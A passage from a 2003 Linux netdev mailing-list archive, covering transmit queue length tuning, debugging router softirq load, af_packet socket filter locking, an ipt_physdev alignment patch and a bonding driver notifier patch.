it. The standard size has been around > > 100 for 100Mbps; i suppose it is fair to say that Gige can move data out > > at 10x that; so set it to 1000. Maybe you can do this from the driver > > based on what negotiated speed is detected? > > I spoke with Alexey once about this, actually tx_queue_len can > be arbitrarily large but it should be reasonable nonetheless. > > Our preliminary conclusions were that values of 1000 for 100Mbit and > faster were probably appropriate. Maybe something larger for 1Gbit, > who knows. > > We also determined that the only connection between TX descriptor > ring size and dev->tx_queue_len was that the latter should be large > enough to handle, at a minimum, the amount of pending TX descriptor > ACKs that can be pending considering mitigation et al. > > So if TX irq mitigation can defer up to N TX descriptor completions > then dev->tx_queue_len must be at least that large. > > Back to the main topic, maybe we should set dev->tx_queue_len to > 1000 by default for all ethernet devices. Hello! Yes sounds like adequate setting for GIGE. This is what use for production and lab but rather than increasing dev->tx_queue_len to 1000 we replace the pfifo_fast with the pfifo qdisc w. setting a qlen of 1000. And with we have tx_descriptor_ring_size 256 which is tuned to the NIC's "TX service interval" with respect to interrupt mitigation etc. This seems good enough even for small packets. For routers this setting is even more crucial as we need to serialize several flows and we know the flows are bursty. Cheers. --ro From Robert.Olsson@data.slu.se Sat Sep 13 05:15:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 05:15:08 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8DCF0Ya008194 for ; Sat, 13 Sep 2003 05:15:01 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3p2/8.9.3) id OAA17521; Sat, 13 Sep 2003 14:14:33 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16227.2601.742897.252057@robur.slu.se> Date: Sat, 13 Sep 2003 14:14:33 +0200 To: brendan@telegraafnet.nl Cc: netdev@oss.sgi.com, akpm@osdl.org Subject: Fw: ksoftirqd causing severe network performance problems In-Reply-To: <20030905084825.4b60169f.akpm@osdl.org> References: <20030905084825.4b60169f.akpm@osdl.org> X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 5890 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev > Hi, > > More than a week ago we replaced our old linux core routers (in a > failover setup), with a new one. The old used 2 100 mbit NICs and worked > very well, however we needed more than a 100 mbit throughput, so we > replaced the setup with an almost identical setup based on two new > servers with 2 1g NICs. At peek time it processes about 70 Mbits/sec of > traffic and we use vlan's and use iptables, firewalling and DNAT of > almost all the connections, the same as in the old setup. > > At the end of last week, the new setup had network problems and what we saw on > the linux router was that the kernel threads ksoftirqd_CPU1 and ksoftirqd_CPU0 > were using almost 100% of system time and the network throughput collapsed. > This happens every day once or twice but the first one seems reasonably > predictable and happens when the network traffic raises from a constant > throughput from 3 Mbit/sec to 46 Mbit/sec in 3 hours. At a rough 40 Mbit/sec > the problem occures and a failover to the slave router solves the problem. On > the faulty server (previously master) the 100% CPU usage drops to almost 100% > idle. When the backup is working fine, we can't use the faulty server anymore > for routing/firewalling because failing back to it again results in an instant > 100% system time again. Rebooting the system helps. Hello! Some debug suggestions... Look/compare /proc/slab for suspects in this state. Check where the packet drops occurs. NIC, backlog or qdisc (you might need to and an qdisc to be able to monitor). route cache can be monitored with rtstat in iproute2 package. > every 60 second. The kernel functions which use the most clockticks (top 10) > during the problem are: > > 50 ip_route_input 0.1238 > 676 __write_lock_failed 21.1250 > 2928 __read_lock_failed 146.4000 You seem to hit some lock... If this the problem or just symptoms is to see set affinity so just one CPU is used or try a UP kernel. Cheers. --ro From mitch@sfgoth.com Sat Sep 13 13:07:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 13:07:44 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8DK7RYa030940 for ; Sat, 13 Sep 2003 13:07:29 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8DKFxkV019940; Sat, 13 Sep 2003 13:15:59 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8DKFxxu019939; Sat, 13 Sep 2003 13:15:59 -0700 (PDT) (envelope-from mitch) Date: Sat, 13 Sep 2003 13:15:59 -0700 From: Mitchell Blank Jr To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-ID: <20030913201559.GI94744@gaz.sfgoth.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> <20030913080252.GE94744@gaz.sfgoth.com> <20030913110353.B23840@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030913110353.B23840@electric-eye.fr.zoreil.com> User-Agent: Mutt/1.4.1i X-archive-position: 5891 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Francois Romieu wrote: > Actually packet_rcv() is run in a BH context and doesn't race with > SO_{ATTACH/DETACH}_FILTER from sock_setsockopt() which does the > appropriate BH locking (spin_lock_bh(&sk->sk_lock.slock) in > net/core/sock.c::sock_setsockopt and in net/core/filter.c::sk_attach_filter). > packet_rcv() doesn't race with BH either due to the bh_lock_sock (a spin_lock > in disguise) you quoted. I don't understand what you're saying - are you saying that the locking isn't needed? Or just the recheck isn't needed? It sounds like if we're only avoiding the race because of the bh_lock_sock() then we do need to recheck, right? Could you do a patch for what you think it should look like? You obviously understand the locking issues here better than I. -Mitch From bdschuym@pandora.be Sat Sep 13 13:37:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 13:37:12 -0700 (PDT) Received: from astra.telenet-ops.be (astra.telenet-ops.be [195.130.132.58]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8DKarYa032601 for ; Sat, 13 Sep 2003 13:36:54 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by astra.telenet-ops.be (Postfix) with SMTP id 39D6937FC2; Sat, 13 Sep 2003 21:59:42 +0200 (MEST) Received: from 192.168.123.138 (D5762BF3.kabel.telenet.be [213.118.43.243]) by astra.telenet-ops.be (Postfix) with ESMTP id 30EF637F35; Sat, 13 Sep 2003 21:59:41 +0200 (MEST) From: Bart De Schuymer To: "David S. Miller" , Harald Welte Subject: Re: ipt_physdev.c alignment problems on parisc64 Date: Sat, 13 Sep 2003 21:59:37 +0200 User-Agent: KMail/1.5 Cc: acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <20030908191400.5ef59ab6.davem@redhat.com> In-Reply-To: <20030908191400.5ef59ab6.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309132159.37834.bdschuym@pandora.be> X-archive-position: 5892 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Tuesday 09 September 2003 04:14, David S. Miller wrote: > On Fri, 5 Sep 2003 17:31:52 +0200 > > Harald Welte wrote: > > The problem is that it is _not_ a simple reimplementation of memcmp(), > > but a mask-compare. > > Ok. It still should be fixed by not using the "unsigned long *" > cast-and-op tricks... The patch below should fix things. It just uses unsigned int instead of unsigned long, so there should be no problem with the evil Sparc64. Perhaps the ip_tables.c code from which I copied the original code should be altered too. It's a real optimization btw, the .o file is 32 bytes larger when doing the bit operations on a char with isizeof(unsigned int), but this is the easiest solution for me. cheers, Bart --- linux-2.6.0-test5/net/ipv4/netfilter/ipt_physdev.c.old 2003-09-11 21:04:12.000000000 +0200 +++ linux-2.6.0-test5/net/ipv4/netfilter/ipt_physdev.c 2003-09-13 21:42:23.000000000 +0200 @@ -23,7 +23,7 @@ match(const struct sk_buff *skb, int i; static const char nulldevname[IFNAMSIZ]; const struct ipt_physdev_info *info = matchinfo; - unsigned long ret; + unsigned int ret; const char *indev, *outdev; struct nf_bridge_info *nf_bridge; @@ -65,10 +65,10 @@ match(const struct sk_buff *skb, if (!(info->bitmask & IPT_PHYSDEV_OP_IN)) goto match_outdev; indev = nf_bridge->physindev ? nf_bridge->physindev->name : nulldevname; - for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { - ret |= (((const unsigned long *)indev)[i] - ^ ((const unsigned long *)info->physindev)[i]) - & ((const unsigned long *)info->in_mask)[i]; + for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned int); i++) { + ret |= (((const unsigned int *)indev)[i] + ^ ((const unsigned int *)info->physindev)[i]) + & ((const unsigned int *)info->in_mask)[i]; } if ((ret == 0) ^ !(info->invert & IPT_PHYSDEV_OP_IN)) @@ -79,10 +79,10 @@ match_outdev: return MATCH; outdev = nf_bridge->physoutdev ? nf_bridge->physoutdev->name : nulldevname; - for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { - ret |= (((const unsigned long *)outdev)[i] - ^ ((const unsigned long *)info->physoutdev)[i]) - & ((const unsigned long *)info->out_mask)[i]; + for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned int); i++) { + ret |= (((const unsigned int *)outdev)[i] + ^ ((const unsigned int *)info->physoutdev)[i]) + & ((const unsigned int *)info->out_mask)[i]; } return (ret != 0) ^ !(info->invert & IPT_PHYSDEV_OP_OUT); --- linux-2.6.0-test5/include/linux/netfilter_ipv4/ipt_physdev.h.old 2003-09-13 21:32:23.000000000 +0200 +++ linux-2.6.0-test5/include/linux/netfilter_ipv4/ipt_physdev.h 2003-09-13 21:33:04.000000000 +0200 @@ -15,7 +15,7 @@ struct ipt_physdev_info { u_int8_t invert; u_int8_t bitmask; - char physindev[IFNAMSIZ]; + char physindev[IFNAMSIZ] __attribute__ ((aligned (__alignof__(unsigned int)))); char in_mask[IFNAMSIZ]; char physoutdev[IFNAMSIZ]; char out_mask[IFNAMSIZ]; From amir.noam@intel.com Sat Sep 13 18:42:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 18:43:02 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8E1guYa013051 for ; Sat, 13 Sep 2003 18:42:57 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEfMQ17686 for ; Thu, 11 Sep 2003 14:41:22 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEcRI19338 for ; Thu, 11 Sep 2003 14:38:27 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107433929429 ; Thu, 11 Sep 2003 07:43:40 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 8/10] [bonding 2.6] Enhance netdev notification handling Date: Thu, 11 Sep 2003 17:43:38 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111743.38411.amir.noam@intel.com> X-archive-position: 5893 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:36 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:37 2003 @@ -408,6 +408,18 @@ * and free it separately; use standard list operations instead * of pre-allocated array of bonds. * Version to 2.3.0. + * + * 2003/08/07 - Jay Vosburgh , + * Amir Noam and + * Shmulik Hen + * - Propagating master's settings: Distinguish between modes that + * use a primary slave from those that don't, and propagate settings + * accordingly; Consolidate change_active opeartions and add + * reselect_active and find_best opeartions; Decouple promiscuous + * handling from the multicast mode setting; Add support for changing + * HW address and MTU with proper unwind; Consolidate procfs code, + * add CHANGENAME handler; Enhance netdev notification handling. + * Version to 2.4.0. */ #include @@ -452,8 +464,8 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.3.0" -#define DRV_RELDATE "August 6, 2003" +#define DRV_VERSION "2.4.0" +#define DRV_RELDATE "August 7, 2003" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" @@ -572,7 +584,6 @@ static struct net_device_stats *bond_get static void bond_mii_monitor(struct net_device *dev); static void loadbalance_arp_monitor(struct net_device *dev); static void activebackup_arp_monitor(struct net_device *dev); -static int bond_event(struct notifier_block *this, unsigned long event, void *ptr); static void bond_mc_list_destroy(struct bonding *bond); static void bond_mc_add(bonding_t *bond, void *addr, int alen); static void bond_mc_delete(bonding_t *bond, void *addr, int alen); @@ -3465,7 +3476,6 @@ static int bond_read_proc(char *buf, cha } #endif /* CONFIG_PROC_FS */ - static int bond_create_proc_info(struct bonding *bond) { #ifdef CONFIG_PROC_FS @@ -3630,21 +3640,134 @@ unwind: return error; } -static int bond_event(struct notifier_block *this, unsigned long event, - void *ptr) +/* + * Change device name + */ +static inline int bond_event_changename(struct bonding *bond) +{ + int error; + + bond_destroy_proc_info(bond); + error = bond_create_proc_info(bond); + if (error) { + return NOTIFY_BAD; + } + return NOTIFY_DONE; +} + +static int bond_master_netdev_event(unsigned long event, struct net_device *event_dev) +{ + struct bonding *bond, *event_bond = NULL; + + list_for_each_entry(bond, &bond_dev_list, bond_list) { + if (bond == event_dev->priv) { + event_bond = bond; + break; + } + } + + if (event_bond == NULL) { + return NOTIFY_DONE; + } + + switch (event) { + case NETDEV_CHANGENAME: + return bond_event_changename(event_bond); + case NETDEV_UNREGISTER: + /* + * TODO: remove a bond from the list? + */ + break; + default: + break; + } + + return NOTIFY_DONE; +} + +static int bond_slave_netdev_event(unsigned long event, struct net_device *event_dev) { - struct net_device *event_dev = (struct net_device *)ptr; struct net_device *master = event_dev->master; - if ((event == NETDEV_UNREGISTER) && (master != NULL)) { - bond_release(master, event_dev); + switch (event) { + case NETDEV_UNREGISTER: + if (master != NULL) { + bond_release(master, event_dev); + } + break; + case NETDEV_CHANGE: + /* + * TODO: is this what we get if somebody + * sets up a hierarchical bond, then rmmod's + * one of the slave bonding devices? + */ + break; + case NETDEV_DOWN: + /* + * ... Or is it this? + */ + break; + case NETDEV_CHANGEMTU: + /* + * TODO: Should slaves be allowed to + * independently alter their MTU? For + * an active-backup bond, slaves need + * not be the same type of device, so + * MTUs may vary. For other modes, + * slaves arguably should have the + * same MTUs. To do this, we'd need to + * take over the slave's change_mtu + * function for the duration of their + * servitude. + */ + break; + case NETDEV_CHANGENAME: + /* + * TODO: handle changing the primary's name + */ + break; + default: + break; } return NOTIFY_DONE; } +/* + * bond_netdev_event: handle netdev notifier chain events. + * + * This function receives events for the netdev chain. The caller (an + * ioctl handler calling notifier_call_chain) holds the necessary + * locks for us to safely manipulate the slave devices (RTNL lock, + * dev_probe_lock). + */ +static int bond_netdev_event(struct notifier_block *this, unsigned long event, void *ptr) +{ + struct net_device *event_dev = (struct net_device *)ptr; + unsigned short flags; + int res = NOTIFY_DONE; + + dprintk(KERN_INFO "bond_netdev_event n_b %p ev %lx ptr %p\n", + this, event, ptr); + + flags = event_dev->flags & (IFF_MASTER | IFF_SLAVE); + switch (flags) { + case IFF_MASTER: + res = bond_master_netdev_event(event, event_dev); + break; + case IFF_SLAVE: + res = bond_slave_netdev_event(event, event_dev); + break; + default: + /* A master that is also a slave ? */ + break; + } + + return res; +} + static struct notifier_block bond_netdev_notifier = { - .notifier_call = bond_event, + .notifier_call = bond_netdev_event, }; static void bond_deinit(struct net_device *dev) From davem@pizda.ninka.net Sat Sep 13 19:20:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 19:21:05 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8E2KvYa014428 for ; Sat, 13 Sep 2003 19:20:58 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA18905; Sat, 13 Sep 2003 19:09:40 -0700 Date: Sat, 13 Sep 2003 19:09:40 -0700 From: "David S. Miller" To: Mitchell Blank Jr Cc: netdev@oss.sgi.com Subject: Re: synchronize_net()? Message-Id: <20030913190940.4aaf5817.davem@redhat.com> In-Reply-To: <20030913034611.GA83212@gaz.sfgoth.com> References: <20030913034611.GA83212@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5894 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 12 Sep 2003 20:46:11 -0700 Mitchell Blank Jr wrote: > /* Synchronize with packet receive processing. */ > void synchronize_net(void) > { > might_sleep(); > synchronize_kernel(); > } > > The "might_sleep()" isn't needed As a matter of taste and ease of debugging it could be. I think it's logical to place the might_sleep() calls as high up in the call chain as is reasonable. This is especially true for important oft-used interfaces for a subsystem. In this way, you don't risk so much having a hard to decode backtrace that misses the true culprit sleep'able call. From davem@pizda.ninka.net Sat Sep 13 19:36:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 19:36:45 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8E2aeYa015056 for ; Sat, 13 Sep 2003 19:36:41 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA18938; Sat, 13 Sep 2003 19:25:22 -0700 Date: Sat, 13 Sep 2003 19:25:22 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030913192522.58705cb0.davem@redhat.com> In-Reply-To: <200309132159.37834.bdschuym@pandora.be> References: <200309022116.41697.bdschuym@pandora.be> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <20030908191400.5ef59ab6.davem@redhat.com> <200309132159.37834.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5895 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 13 Sep 2003 21:59:37 +0200 Bart De Schuymer wrote: > It just uses unsigned int instead of unsigned long, so there should > be no problem with the evil Sparc64. Sparc64 doesn't have the problems, it just fixes up the unaligned accesses there so it'll just be super-slow (some "optimization" :). The problem is on parisc64 which is very strict about accessing structure members which are not aligned to the accessor type you use to dereference and gives you a link/compile error when you violate this. > Perhaps the ip_tables.c code from which I copied the original code > should be altered too. Yes. > It's a real optimization btw, the .o file is 32 bytes > larger when doing the bit operations on a char with i All hail Rusty :) I understand, but instead create an arch routine to optimize this instead of using non-portable constructs. memcmp_masked() or something like that. From romieu@fr.zoreil.com Sun Sep 14 03:58:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Sep 2003 03:58:38 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EAwSYa028469 for ; Sun, 14 Sep 2003 03:58:29 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8EAtoxA008600; Sun, 14 Sep 2003 12:55:50 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8EAtnZO008599; Sun, 14 Sep 2003 12:55:49 +0200 Date: Sun, 14 Sep 2003 12:55:49 +0200 From: Francois Romieu To: Mitchell Blank Jr Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-ID: <20030914125549.A7790@electric-eye.fr.zoreil.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> <20030913080252.GE94744@gaz.sfgoth.com> <20030913110353.B23840@electric-eye.fr.zoreil.com> <20030913201559.GI94744@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030913201559.GI94744@gaz.sfgoth.com>; from mitch@sfgoth.com on Sat, Sep 13, 2003 at 01:15:59PM -0700 X-archive-position: 5896 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Mitchell Blank Jr : [...] > I don't understand what you're saying - are you saying that the locking > isn't needed? Or just the recheck isn't needed? It sounds like if we're > only avoiding the race because of the bh_lock_sock() then we do need to > recheck, right? - the locking is needed - the recheck is needed (- it does more than the recheck) My point was related to the comment included in the patch, namely "/* re-check under lock */" From a reader's view, it is important to know why things are done and the comment only tells _what_ is done. So why is locking required ? The comment just before the head of packet_rcv() suggests it. As usual packet handler [1] in Linux, this code is run in a BH context. It can race with user-space when it uses the struct sock related part of the sk_buff (and it could race with tasklets when it messes with the struct sk_buff itself) User-space can change sk->sk_filter through setsockopt() + SO_{ATTACH/DETACH}_FILTER but it takes care to only do so in sections surrounded by spin_{lock/unlock}_bh() [2]. As the first "if (sk->sk_filter)" in packet_rcv() takes no lock, there is a time window where it is possible that sk->sk_filter has been changed by user-space code on one cpu whereas packet_rcv() still sees the old value. However, user is guaranteed that a packet received _after_ his call to setsockopt() has returned will be correctly handled by packet_rcv(). Whence 1) user is happy 2) packet_rcv() isn't forced to take a lock before examination of sk->sk_filter when there is no BPF handling to do (optimization). Now let's assume some BPF-related action _appears_ to be needed. Without locking, even filter = sk->sk_filter in packet_rcv() could race with sk->sk_filter = NULL in sock_setsockopt() and result in partially set content for "filter". That's why user-space code forbids BH on its CPU and stops BH on others CPU with sk->sk_lock.slock. As soon as packet_rcv() try to lock sk->sk_lock.slock, locking between packet_rcv() and user space is fine. As there is no point in issuing "forbid BH on my CPU" from packet_rcv(), this part of the locking is forgotten. Thus packet_rcv() only issues a spin_{lock/unlock} (which protects from tasklets on different CPU as well). spin_{lock/unlock} is named bh_{lock/unlock}_sock. I assume it is on documentation purpose and to allow an evil plan in the future. [1] net/core/dev.c::dev_add_pack() and struct packet_type in include/linux/netdevice.h [2] net/core/sock.c::sock_setsockopt() ... SO_DETACH_FILTER and net/core/filter.c::sk_attach_filter() > Could you do a patch for what you think it should look like? You obviously > understand the locking issues here better than I. See previously posted patch. Imho the non-trivial part isn't the locking itself but the fact that the first test of sk->sk_filter is done _without_ lock. May be something like the following comment before this test: /* Racing with user-space for optimization purpose: don't panic */ Tell me if it is correctly worded and I'll patch it. Btw, the locking issues are rather well explained in Documentation/DocBook/kernel-locking.tmpl (and in Schimmel's book as well). -- Ueimor From mitch@sfgoth.com Sun Sep 14 04:17:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Sep 2003 04:18:00 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EBHsYa029355 for ; Sun, 14 Sep 2003 04:17:57 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8EBQSkV043723; Sun, 14 Sep 2003 04:26:28 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8EBQSBU043722; Sun, 14 Sep 2003 04:26:28 -0700 (PDT) (envelope-from mitch) Date: Sun, 14 Sep 2003 04:26:28 -0700 From: Mitchell Blank Jr To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-ID: <20030914112628.GD42531@gaz.sfgoth.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> <20030913080252.GE94744@gaz.sfgoth.com> <20030913110353.B23840@electric-eye.fr.zoreil.com> <20030913201559.GI94744@gaz.sfgoth.com> <20030914125549.A7790@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030914125549.A7790@electric-eye.fr.zoreil.com> User-Agent: Mutt/1.4.1i X-archive-position: 5897 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Francois Romieu wrote: > See previously posted patch. Imho the non-trivial part isn't the locking > itself but the fact that the first test of sk->sk_filter is done _without_ > lock. OK, that was what I thought was going on. I figured the short comment (along with the likely()) would explain this adequately (i.e. "we're now re-checking under lock so we get the authorative answer") but maybe it needs more explaination. -Mitch From linux-netdev@gmane.org Sun Sep 14 10:30:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Sep 2003 10:31:04 -0700 (PDT) Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EHUiYa011164 for ; Sun, 14 Sep 2003 10:30:46 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19yahk-0006TG-00 for ; Sun, 14 Sep 2003 19:30:32 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: netdev@oss.sgi.com Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19yaap-0006Q3-00 for ; Sun, 14 Sep 2003 19:23:23 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19yaaz-0000oY-00 for ; Sun, 14 Sep 2003 19:23:33 +0200 From: Florian Zwoch Subject: Re: 82540EM very slow on 2.6.0-test[45] Date: Sun, 14 Sep 2003 19:23:32 +0200 Lines: 28 Message-ID: References: <20030910233512.GB18056@rushmore> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030909 Thunderbird/0.2 X-Accept-Language: en-us, en In-Reply-To: <20030910233512.GB18056@rushmore> X-archive-position: 5898 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zwoch@backendmedia.com Precedence: bulk X-list: netdev rwhron@earthlink.net wrote: > ftp'ing a multi-megabyte file gives about 16-20k/second > throughput. I first noticed this on 2.6.0-test4, but > the slowness may have existed longer. The destination > machine was running Solaris 8. > same behaviour confimed here. test5 and test4 (can not confirm on earlier). both suffer from real bad network send performance on the 82540EM Gigabit Ethernet Controller (rev 02). i did not test ftp but scp suffers from exactly the same mentioned above. scp from this device resulted in about 80k/s to a local linux 2.4.x machine. scp to this device gives about 4.5mb/s. samba copy between the two machines is fast in both directions. irc dcc protocol stalls down to about 1k/s (host specific?). nothing has changed between a normal operating 2.4.20 kernel. i suppose something is broken atm. i did not set up any specific duplex mode, but it is detected as 100 mbps full duplex - as expected (like the 2.4 kernel). maybe someone can look into this? -- Florian Zwoch From ricardoz@us.ibm.com Sun Sep 14 12:09:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Sep 2003 12:09:41 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8EJ9RYa012552 for ; Sun, 14 Sep 2003 12:09:34 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8EJ8cWq698572; Sun, 14 Sep 2003 15:08:38 -0400 Received: from d01ml063.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8EJ8TDh202968; Sun, 14 Sep 2003 15:08:29 -0400 In-Reply-To: <20030912204947.5267e3aa.davem@redhat.com> Importance: Normal Sensitivity: Subject: Re: [e1000 